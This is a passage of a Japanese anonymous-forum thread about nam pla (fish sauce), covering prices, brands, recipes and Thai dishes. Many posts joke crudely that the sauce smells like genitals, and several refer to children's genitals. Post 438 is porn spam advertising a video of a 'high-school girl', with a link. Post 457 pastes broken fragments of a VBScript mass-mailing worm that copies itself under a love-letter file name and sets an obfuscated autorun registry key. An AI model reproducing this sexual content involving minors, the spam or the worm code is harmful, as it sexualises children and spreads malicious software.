407 :山崎 渉:03/07/15 12:34

 __∧_∧_
 |(  ^^ )| <寝るぽ(^^)
 |\⌒⌒⌒\
 \ |⌒⌒⌒~|         山崎渉
   ~ ̄ ̄ ̄ ̄

408 :やめられない名無しさん:03/07/15 16:41
まんこ臭い。

409 :やめられない名無しさん:03/07/15 18:06
知り合いが小学生の男子のあそこのにおいがするって言う。
食べれなくなった・・・


410 :やめられない名無しさん :03/07/17 00:59
きゅうりの浅漬けを作る際にもナンプラー

411 :ラーメン大好き@名無しさん:03/07/17 23:15
タイで買ってきたけどメチャ安いわw

412 :やめられない名無しさん:03/07/17 23:16
いくら?

413 :やめられない名無しさん:03/07/17 23:48
バブー

ハーイ!

414 :やめられない名無しさん:03/07/18 00:06
近所のスーパーだと70gの小瓶で225円
キッコーマンの醤油一升(1.8L)198円より高い
とてもじゃないが貧乏人にはナンプラーは買えん

415 :やめられない名無しさん:03/07/18 00:07
この間タイ料理屋で700ml190円で買った。
スーパーやデパートの輸入食材コーナーなんかじゃ、高くて買えないよ。

416 :やめられない名無しさん:03/07/18 00:12
デパートでガラス瓶に入った高いやつ買うよりも、アジア系輸入食材店で
プラスチックのペコペコしたボトルに入ったやつ買うのか吉。

417 :やめられない名無しさん:03/07/18 14:56
ドッキホーテだと1Lで¥200ぐらいじゃない?

418 :やめられない名無しさん :03/07/18 15:52
750ml 90円がデフォ

419 :やめられない名無しさん:03/07/18 20:40
>418
どこ?

420 :ラーメン大好き@名無しさん:03/07/18 21:47
ああ、ごめんレス遅くなって
タイで300mlが12バーツだったね
日本円で35円相当かな(w
ちなみにいつも買う日本の店は
タバスコサイズ(60ml)で180円だわ

421 :やめられない名無しさん:03/07/18 22:07
じゃ漏れが日本で750mlを100円てのもかなり底値だったんだね
ホッ

422 :ラーメン大好き@名無しさん:03/07/19 16:11
>>421
日本でもそんなに安く買えるんだ?


423 :やめられない名無しさん:03/07/20 22:36
>422
> 日本でもそんなに安く買えるんだ?

スマソ\150だった・・・
ココ >260

424 :やめられない名無しさん:03/07/21 22:54
ごはんの上に半熟のメダマ焼きをのせて
ナンプラーをかけてかきまぜて食べたら
「しおから」の味がした。

「しおから」をクサイと思わない人なら
調理次第でたべられるとオモワレー、、。

425 :やめられない名無しさん:03/07/23 19:18
>>424
素直に目玉焼き作るときにかけれ。

426 :やめられない名無しさん:03/07/25 19:36
手段と目的が入れ違ってるやつがいるな

427 :やめられない名無しさん:03/07/26 23:41
ゆでたじゃがいも
バター
ナンプラー

428 :やめられない名無しさん:03/08/07 21:52
ワカメスープにナンプラー

429 :やめられない名無しさん:03/08/08 09:08
今、タイから戻ってきたところ・・・

普通のスーパーで750ml一瓶 15バーツ(約45円)が最安値だった
何本か買いたかったが、今回は目当ての石うすが重くて手一杯だったので
あきらめた

ちょっと脱線するけど、チェンマイの生ソーセージ嫌いな人っているのかな?

430 :やめられない名無しさん:03/08/09 09:40
生肉ンマー!

431 :429:03/08/09 11:41
グリーンカレーやトムヤムクンのペースト置いてるコーナーに
生ソーセージ作る為のセットも置いてたので買ってきたけど、
ホントに豚の生挽肉使うんだね・・・日本で大丈夫かな?




432 :やめられない名無しさん:03/08/09 12:29
タイのスーパーなんかで売ってるソーセージとかベーコンは日本のよりうまいと思う。

433 :山崎 渉:03/08/15 20:56
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン

434 :やめられない名無しさん :03/08/17 09:12
あげげ

435 :名無しさん:03/08/17 14:12
オナーニの時に使うくらいだなw

436 :やめられない名無しさん:03/08/18 22:22
ナンプラー入れてチャーハン作ったらおまんこの匂いがプーンとする
チャーハンに仕上がった。味はまあまあだったけどな。

437 :やめられない名無しさん:03/08/22 19:45
おまんこ料理が簡単に作れる調味料、ナンプラー。恐るべし。

438 :やめられない名無しさん:03/08/22 19:46
毎回期待を裏切らないこのシリーズ。
今回の出演は女子高生で何とパイパン女です。
何故マン毛がないだけでこんなにいやらしくなるのでしょう。
ツルマンのドアップ映像は売るほどあり、超大満足間違いなし。
アナルにも指を入れられますがまんざらではないようでよがり始めます。
多少画像は荒れ気味ですが内容からすると文句なしの作品です。
完全素人!!無料動画を即ゲット。
http://members.j-girlmovie.com/main.html

439 :やめられない名無しさん:03/09/05 13:49
何かひと味足りないときにはナンプラー!
何でもかんでもナンプラー!
匂いも最高!

440 :やめられない名無しさん:03/09/05 16:53
まんこの匂いだけど我慢しろ。

441 :やめられない名無しさん:03/09/11 05:12
本場でも最近おもうような魚が取れなくなって高級化、代わりにしょうゆが幅を利かせつつ
あるらしいよ。

442 :やめられない名無しさん:03/09/11 23:35
マンコの匂いなんてしないよ。こんな臭い女いるか?

443 :やめられない名無しさん:03/09/12 12:21
>>442
さてはセクースする前ちゃんと風呂に入らせてますね。風呂に入らないで
直接まんこの匂いを嗅いだらまさにナンプラー臭です。お試しあれ。

444 :やめられない名無しさん:03/09/12 12:37
>>443
人による

445 :やめられない名無しさん:03/09/12 19:02
女ですけどあんな匂いしませんよ!

446 :やめられない名無しさん:03/09/12 22:58
まあ認めて赤面した女もいるのだが。

447 :やめられない名無しさん:03/09/18 21:35
おまんこ臭スレはここかい?

448 :やめられない名無しさん:03/09/21 23:01
女が小便した後は確かにまんこがナンプラー臭で満ちている。

449 :やめられない名無しさん:03/09/22 20:15
書く事はもうない、、

でも保守をしないと新スレが立ってしまうので、、

450 :やめられない名無しさん:03/09/23 00:27
韓国のスンデという豚の血のソーセージは生理の時のおまんこ臭
に似ている。

451 :やめられない名無しさん:03/09/23 00:28
ていうか子供のチンコのニオイだろ。

452 :やめられない名無しさん:03/09/23 00:42
>>451
子供のチンコはどちらかと言うと魚肉ソーセージ臭(w

453 :やめられない名無しさん:03/09/23 00:44
蒸れた金玉のにほい。

454 :やめられない名無しさん:03/09/23 00:51
>>453
あれは溜まらなく臭い(w

455 :やめられない名無しさん:03/09/23 00:54
新聞にブルーギルの使い道として醤油作る試みが紹介されていた。
それってつまりナンプラーだよね?

456 :やめられない名無しさん:03/09/23 00:56
魚醤だな。
どちらかというと、しょっつるに近いんじゃないかと。
あくまで想像だが。

457 :やめられない名無しさん:03/09/24 21:52
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
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Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) 
  
 
 
 


               


458 :やめられない名無しさん:03/09/25 13:08
みなとまち(ぎょこう)は なんぷらーくさい

たすけて

459 :やめられない名無しさん:03/09/28 17:01
俺の女友達にもの凄いマン臭の奴が一人いる。
ファミレスでテーブルに向かい合って座るだけでテーブルの
下から「ムア〜ッ」と強烈なマン臭がくるほど凄い。
ナンプラー臭。

460 :やめられない名無しさん:03/09/30 02:36
チャーハンの味付けにナンプラー+にんにく+一味唐辛子=(゚д゚)ウマー

461 :やめられない名無しさん :03/10/02 23:47
どこのナンプラー使ってる?

俺、通販で大量買いしとる

462 :やめられない名無しさん:03/10/03 02:58
大量買いって・・・・レストラン経営ですか?

463 :やめられない名無しさん :03/10/03 04:25
通販?NETかなぁ?
750ml 120円を6本まとめ買いはしたよ 簡単に悪くならないし。
スイートチリソース、チリソース、オイスターソースもNET購入だな

464 :やめられない名無しさん:03/10/07 01:12
まんこの匂いの調味料です。

465 :やめられない名無しさん:03/10/07 05:28
思うんだけどさ、
もんじゃスレでいつまでもゲロだと騒いだり
ナンプラースレでまんこまんこ言ってる奴って
絶対同じ人間(あるいは同じ人種)だな


466 :やめられない名無しさん:03/10/08 21:46
>>465
そうか?俺はゲロは書かないが。
それにしてもナンプラー今日も使ったよ。豚肉炒めに入れて
おまんこの匂いのする一品を食った。

467 :やめられない名無しさん:03/10/08 23:51
>466
それは君が今まで嗅いだおま○○が・・・だっただけでは???

PS 君が女の子だったらゴメンね(w

468 :やめられない名無しさん:03/10/08 23:54
火通したらそんなに臭わないと思うが。。。

469 :やめられない名無しさん:03/10/09 14:12
もんじゃ=ゲロ
ナムプラ=まんこ
栗の花=せいし

これ以外の話題があったら尻たいよ。

470 :やめられない名無しさん:03/10/09 18:33
>>469
ほかの板いった方がいいぞ

471 :やめられない名無しさん:03/10/12 01:25
ナンプラー=臭マン臭。

472 :やめられない名無しさん:03/10/12 09:47
ペペロンチーノにナンプラー入れるのが当たり前になって来た。。。

473 :やめられない名無しさん:03/10/13 06:45
フィリピンでもパティスというナンプラーもどきが
食卓には欠かせません。
やはりフィリピーナのマソコのにほひがします。

474 :やめられない名無しさん:03/10/15 21:06
皆まんこの匂いが好きなのは、そこから産まれて来たからだよね。

475 :やめられない名無しさん:03/10/19 18:53
ナンプラー=まんこ。

476 :やめられない名無しさん:03/10/19 21:43
家ではチャーハンに入れるくらいなんで、
ここみて勉強しまつ。


477 :やめられない名無しさん:03/10/22 01:41
まんこのニホヒ

478 :やめられない名無しさん:03/10/23 23:04
青梅国際マラソン

479 :やめられない名無しさん:03/10/24 00:30
しょっつる!しょっつる!しょっつる!

480 :429:03/10/30 23:15
age

481 :やめられない名無しさん:03/11/05 17:10
ヲマンコー

482 :やめられない名無しさん:03/11/10 01:53
昨夜も若葉町のチャオタイでナンプラー。
一緒に行ったタイ人女性に「あなたの匂いがする」と言ったら叩かれた。

483 :やめられない名無しさん:03/11/10 23:10
>>482
韓国のミョルチ(メルチ)エキスも基本的にはナンプラーと同じ。

タンシネ ポジエ ネムセガ ヘーヨ と韓国ラウンジのヨジャに言ったら
同じく叩かれました。

基本的に ネムセガ コヤッケヨ という言葉に敏感に反応します。

484 :やめられない名無しさん:03/11/13 21:08
ナンプラー=まんこです。

485 :やめられない名無しさん:03/11/15 18:34
昨晩ナンパした女とホテル行ってきた。
パンツをめくると、プーンと強烈な匂い。そうです、ナンプラー臭が
してきた!両手で女を抱きかかえ風呂に入ったのは言うまでもない。

486 :やめられない名無しさん:03/11/15 19:45
もうそういう話題しか残ってないのか(;´Д`)。

487 :やめられない名無しさん:03/11/15 21:55
基本的に調味料だからなあ。
「醤油」とか「塩」とかスレ立ってもやっぱ困るじゃん?

488 :やめられない名無しさん:03/11/15 23:40
料理かレシピ板の方がよかったかもな。
もうあるかもしれないけど。

489 :やめられない名無しさん:03/11/16 17:48
ミルキーはママの味
カルピスはパパの味

ナンプラーは彼女の味

490 :やめられない名無しさん:03/11/17 00:22
>>489
(・∀・)イイ!!

491 :やめられない名無しさん:03/11/20 23:18
まんこまんこ

492 :やめられない名無しさん:03/11/20 23:27
>>489
全部味わったことがあったらこわいな。

493 :やめられない名無しさん:03/11/20 23:44
>>492
何かの探求者としてはある意味尊敬に値するのかもしれないけど、
友達とか知り合いにはなりたくないよな。

494 :やめられない名無しさん:03/11/24 01:52
人間は古代から臭い食べ物に愛着を抱いてきました。納豆やくさや、
しょっつるなど、日本だけでも臭い物はたんさんあります。

495 :やめられない名無しさん:03/11/24 01:58
スレとは関係ないが、レバサシの食感はクンニに近いものがあるよな?

496 :やめられない名無しさん:03/11/24 11:23
男の子抱くときにこれを使えば
女の子風味に早代わり
ノンケな方におすすめ

497 :やめられない名無しさん:03/11/24 13:56
納豆スパにパクチーとナンプラーをかけて食べた

相方に日伊タイのコラボレーションだといって食べさせようとしたら
味見どころか近寄るなって言われました

美味しいのに(´・ω・`)

498 :やめられない名無しさん:03/11/24 16:25
>>497
相方って、あんた漫才師か?

499 :やめられない名無しさん:03/11/28 13:55
無臭の女の子抱く時に気づかれないようにまんこに少しかける。
あら不思議、まんこがクチャイクチャイ女の子のできあがり。

500 :やめられない名無しさん:03/11/28 13:55
うるせー500

501 :やめられない名無しさん:03/12/03 02:32
ナンプラーは基本的に火を通さないとクチャイクチャイよ。

502 :やめられない名無しさん:03/12/10 11:34
女の子のまんこを蒸して蒸しアワビを作る時に少し掛けると
クチャイクチャイ。

503 :やめられない名無しさん:03/12/16 17:12
クチャイクチャイ。

504 :やめられない名無しさん:03/12/17 11:57
アパチャイ

505 :やめられない名無しさん:03/12/17 13:52
ニンニク薄切り、鷹の爪輪切りをナンプラーにつけ込んで保存し、野菜炒めなどに使用するとおいしいです。

506 :やめられない名無しさん:03/12/17 15:15
唐辛子の輪切り入りのナンプラーに採れたての大根(生)をつけて食べたら(゚д゚)ウマー!でした。

507 :やめられない名無しさん:03/12/19 23:56
レモングラスの代わりにレモンジュースを使ってスープ作ったら
(゚д゚)ウマーだったよ。

508 :やめられない名無しさん:03/12/20 07:29
レモングラスの代わりにはならんだろレモンジュースは・・・

509 :やめられない名無しさん:03/12/20 09:23
あれは香り付けだけだからいいんじゃないの?
普通食わないし(w

510 :やめられない名無しさん:03/12/22 07:21
タイ人の家で飲んで、おみやげにタイご飯を持たされた。
釜飯の容器に詰めて炊飯器でタイマーセット!
今朝の僕の部屋はナンプラーの香り。

ナンプラー!

511 :やめられない名無しさん:03/12/22 15:22
>>510
茹でるように炊かないともったいない。

512 :やめられない名無しさん:03/12/23 15:33
12月24日は巷巷でナンプラーの香り咲き乱れる。

513 :やめられない名無しさん:03/12/27 12:34
夢を見た。

パスタ専門店で飯食っているんだけど、
なぜか手にはナンプラーがあって
周囲の制止も聞かず全てのパスタにナンプラーをかけ
全てのパスタがナンプラー味になって
それを一人でもくもくと喰っていた。

514 :やめられない名無しさん:04/01/05 03:51
臭い臭い

515 :やめられない名無しさん:04/01/05 04:13
ナンプラーはエンゼルフィッシュマークが一番ウマイ

シコイワシを露天の発酵槽に入れてトタンで蓋して太陽熱で発酵促進する
しかし、この製法が衛生的でないとしてアメリカFDAでは認可されず、アメリカでは販売できない
アメリカは米国で販売したいなら、近代的な工場にして、トタンで蓋なんてことはするなと勧告
ところが社長のオヤジは「トタンと太陽光がなければうまいナンプラーはできない」と突っぱねた

オヤジ漢だぜ

516 :やめられない名無しさん:04/01/05 22:25
>>515
いいね

どっかの醤油屋のオヤジも似たような事言ってたのを思い出した


517 :あぼーん:あぼーん
あぼーん

518 :やめられない名無しさん:04/01/06 08:01
>>517
ナンプラーのはなしをしよう。

519 :やめられない名無しさん:04/01/06 08:17
>>517
sageで荒らすとは妙におくゆかしい嫌韓厨ですな

520 :やめられない名無しさん:04/01/06 22:33
>>517
他スレであぼんされてるしw

521 :やめられない名無しさん:04/01/12 16:05
昨晩世界ウルルン滞在記で牛のおしっこを調味料にしている
民族が紹介されてたが、ナンプラーに通じるものがあると思った。

522 :やめられない名無しさん:04/01/13 01:09
ナンプラーっておしっこなのか?
僕はてっきりおまんこだと思ってました。

523 :やめられない名無しさん:04/01/17 02:02
臭い点では同じ。

524 :あぼーん:あぼーん
あぼーん

525 :やめられない名無しさん:04/01/22 22:30
(; -y-)ツ)) クチャイクチャイ

526 :やめられない名無しさん:04/01/25 02:41
ナンプラーを納豆に。臭い物同士良く合う。

527 :やめられない名無しさん:04/01/25 15:00
チーズもふりかけろ!

528 :やめられない名無しさん:04/01/25 17:40
>515
そゆとこアメリカ人て無神経だよな。
ガンガレ!オヤジ!

529 :やめられない名無しさん:04/01/26 09:28
でもさぁ、日本人も同じじゃねえか?
実況板で伝統的な食品の番組の実況やってると必ず「あれは衛生的にどうなの?」とか
「うげー、気持ちわりぃ」とか抜かすやついっぱい出てくるよ。
まぁ、2ちゃんねらーの反応が一般的な日本人の平均的な反応だとは思わないけどさ。(w

530 :やめられない名無しさん:04/01/31 20:04
臭いけどンマー。

531 :やめられない名無しさん:04/02/06 09:27
>>529
ビデオに撮って食べてる所を逆転再生するとオモロイよ。

532 :やめられない名無しさん:04/02/11 16:45
発酵食品は大抵臭い。

533 :やめられない名無しさん:04/02/12 22:52
チゲ鍋の味付けに使うと魚臭くてンマー。


534 :やめられない名無しさん:04/02/13 01:30
豚肉焼く時にかけるのが最強!

535 :やめられない名無しさん:04/02/15 23:55
>>533
魚臭いというより、まんこ臭い。

536 :やめられない名無しさん:04/02/27 12:49
(; -y-)ツ)) クチャイクチャイけどうまいね!

537 :やめられない名無しさん:04/03/07 07:32
豚の生姜焼きに隠し味で入れる。

538 :やめられない名無しさん:04/03/09 19:13
ナンプラーなんてただの塩水じゃん。

539 :やめられない名無しさん:04/03/15 23:31
まんこ臭いと言ってる香具師はまんこの匂いを嗅いだ事ないだろ。
もしくは、物凄い彼女だったんだろう・・・。

540 :やめられない名無しさん:04/03/16 00:13
>>539
マムコ臭いレスだなw

541 :やめられない名無しさん:04/03/16 01:52
あっ!女だってばれた?
だって魚臭くないもの、ナンプラー好きだけど。
まんこは乳酸菌が居るからヨーグルトっぽいよ。きれいにしてればw
チーズの匂いってのも違うと思う。

542 :やめられない名無しさん:04/03/21 23:02
炒飯に隠し味で入れたつもりでしたがむっとする独特の匂いが
凄く、まんこ風味の炒飯になりますた。

543 :やめられない名無しさん:04/03/21 23:11
>>542
おまい、ほんとはナンプラー使ったことないだろ(w

544 :やめられない名無しさん:04/03/22 01:13
韓国の調味料にメルチエキスというのがあるが、そいつも
原料はカタクチイワシで、ナンプラーとほぼ同じ味と香り。
韓国材料店で売っている。ナンプラーよりかなり割安だ。

545 :やめられない名無しさん:04/03/27 01:11
>>543
いや、あるよ。本当に臭かったから。醤油の香りを圧倒していた。

546 :やめられない名無しさん:04/03/30 01:04
まさか一カップとか入れた訳じゃあるめぇ

547 :やめられない名無しさん:04/04/01 00:27
>>546
ナンプラーは食塩が飽和するまで入れてあるね。底に溶けきらない
塩が溜まっている。
一カップも入れたら塩辛くて食えない。

548 :やめられない名無しさん:04/04/01 04:44
パッシーユー食う時に唐辛子山盛り1さじかけるんだけど、そうすると
味が薄くなったように錯覚して、ついついナンプラーを3さじくらい
かけちまうんだよな。
食ってる時はそれで丁度いいんだけど、あとから水欲しくなって堪らんくなる。

549 :やめられない名無しさん:04/04/04 23:10
>>548
唐辛子は減塩食によく使われるね。

550 :やめられない名無しさん:04/04/05 00:04
食いすぎると痔になるぞ。>唐辛子

551 :やめられない名無しさん:04/04/08 10:19
痔にはなりなくねーな。

552 :やめられない名無しさん:04/04/08 17:59
さっき学校から帰ってきてフォー食ったage
ナンプラーナンプラーナンプラー
ってベトナムじゃヌクマムっていうんだったっけか。どうでもいいや。旨いし。

553 :やめられない名無しさん:04/04/14 14:59
美味しんぼでは最初ニョクマムと書いていたが後の方でヌックマムに
変更されているんだっけか。

554 :やめられない名無しさん:04/04/17 15:57
>>550
しかしタイ料理は激辛というこの不思議。

555 :やめられない名無しさん:04/04/18 22:46
油を心持ち多めで豚肉を炒め固く仕上げてから刻んだニラ投入しナンプラIN
塩コショウで味を整えレモン汁とタバスコを入れ完了
半分で飯を食いもう半分を肴に

556 :やめられない名無しさん:04/04/21 02:38
豚肉によく合うヌックマム

557 :やめられない名無しさん:04/04/27 14:32
どうして同じ発酵汁でもオイスターソースはあんなにいい匂いが
するのにナンプラーは下品な匂いなんだろうか?

558 :やめられない名無しさん:04/05/01 23:56
>>557
それはまんこ汁がナンプラーに隠し味として入っているからです。

559 :やめられない名無しさん:04/05/02 23:27
おいしいね。

560 :やめられない名無しさん:04/05/03 12:40
ファミマのタイご飯が何となく物足りないのは
ナンプラーが入っていないからなんじゃないのか。

でも、小僧寿しのしょうゆみたいなパック入りのナンプラーなんてないだろうし、
期間限定のお弁当のためにファミマも開発してくれないだろうし。

1本買ってくるか。

561 :やめられない名無しさん:04/05/03 12:44
と思ったら、ファミマのタイご飯、今日で終わりなのね。
http://www.family.co.jp/rel/r_040406.html

562 :やめられない名無しさん:04/05/03 16:14
正直超微妙だったんですが、ええじゃんふぁみま。

563 :やめられない名無しさん:04/05/04 17:31
ちんこ臭がする調味料ってないの?

564 :やめられない名無しさん:04/05/08 09:45
代々木でタイフードフェスだよ。

565 :やめられない名無しさん:04/05/08 22:45
ナンプラー最安値で750ml \150だった
5本買い込んだ・・重かった

今年はまともな石のクロック置いてる店もあった 
\3500なら日本では安い方では?

566 :やめられない名無しさん:04/05/11 01:08
YOUKIのナンプラー。

567 :やめられない名無しさん:04/05/16 07:37
ココナッツミルクごはんとガイヤーンの朝食。ウマー

568 :やめられない名無しさん:04/05/26 01:18
まだ使ってないけど昨日初めて有紀のナンプラー買ってみたので上げとくか・・

569 :やめられない名無しさん:04/05/26 02:36
うちは、やっぱ天秤印。
チリソースなら、ガキ印。

570 :やめられない名無しさん:04/05/26 18:43
牡蠣印も天秤印も探したけど売ってね〜orz
ナンプラー自体初体験でしたがウマーですた。

571 :やめられない名無しさん:04/05/26 18:45
568=570でつ。
良スレなので上げときます。

572 :やめられない名無しさん:04/05/26 21:17
春雨サラダにナムプラー

573 :やめられない名無しさん:04/05/29 23:50
うっとうしい季節には冷やしたサラダにナンプラーだね。

574 :やめられない名無しさん:04/05/30 03:11
冷し中華にもナンプラーだね。

575 :やめられない名無しさん:04/06/04 03:11
中華飯のトロミにもナンプラー。

576 :やめられない名無しさん:04/06/04 22:22
とろみは片栗粉だろう

577 :やめられない名無しさん:04/06/04 22:25
とろみがつくナンプラーってちょっと怖い

578 :やめられない名無しさん:04/06/06 01:03
トロミの味付けとしてナンプラー。

579 :やめられない名無しさん:04/06/06 01:20
有紀のは初心者にお勧めナンプラー。

580 :やめられない名無しさん:04/06/06 02:31
名古屋じゃ、7-11にしか売ってない「cho-kara」ってスナック。
グリーンカレー味、ナムプラー、如実にて昇天。

581 :やめられない名無しさん:04/06/09 16:19
まんこに掛けて舐めてみれ。んまいぞ。匂いはそんなに変わらんしな。

582 :やめられない名無しさん:04/06/13 10:42
できたてご飯にナンプラー。
(゚д゚)ウマー

583 :やめられない名無しさん:04/06/14 08:31
まんこにナンプラー。同類相哀れむ。

584 :やめられない名無しさん:04/06/16 22:25
卵焼きにナンプラー。

585 :やめられない名無しさん:04/06/21 01:23
おまんこ焼き

586 :やめられない名無しさん:04/06/25 17:41
カオマンガイ喰いたい!

587 :586:04/06/25 19:07
鶏胸肉(90円/100g)買ってきた。
あと、スイートチリソース。
鶏肉と生姜とナンプラーをごはんといっしょに炊いてできあがり。
きゅうり、スイートチリソースでいただきます。
今日は蒸し暑いし、まんどうな料理がめんどくさいのでちょうどいいかと。

588 :586:04/06/25 19:09
モモ肉でした。

589 :やめられない名無しさん:04/06/25 19:48
おれはカオマンガイ自作したとき、タレもタイの瓶入り味噌みたいなの買ってちゃんとしたの
作って、かなり現地に誓いの作れたんだけど、あの味噌みたいなのの使い道がほかに思いつかなくて
気がついたら、カリカリに乾燥してた。。。_| ̄|○

590 :586:04/06/25 20:25
ああ、蒸し上がった肉を冷やすのを忘れてた…。いまいちでした。
ごはんももっと冷めてたほうが美味い…。

591 :カレーなる名無しさん:04/06/29 01:04
おまいらに旨い物を教えてやる
ナンプラーと青唐辛子
のタレにモモ肉を好きなだけ漬け込む
あとは全部炊飯器にぶちこんで炊くだけ

食べるときに
ナンプラーと青唐辛子、レモン、砂糖を混ぜたタレ
をかけて食べる


592 :やめられない名無しさん:04/06/29 01:08
>>591
タマリンドとブラウンシュガーを使え

593 :591:04/06/29 01:17
>>592
そこまで凝らなくていいのだ
鳥の旨味たっぷりの飯と青唐辛子をナンプラーで堪能するのだ

ちなみにコレの元は
ダンチューかなんかに昔載ってたたタイ風鳥炊き込み飯のレシピ
変えた物


594 :やめられない名無しさん:04/06/29 01:23
カオマンガイのアレンジだな。うまそう。

595 :やめられない名無しさん:04/06/29 12:47
どこがだよ?

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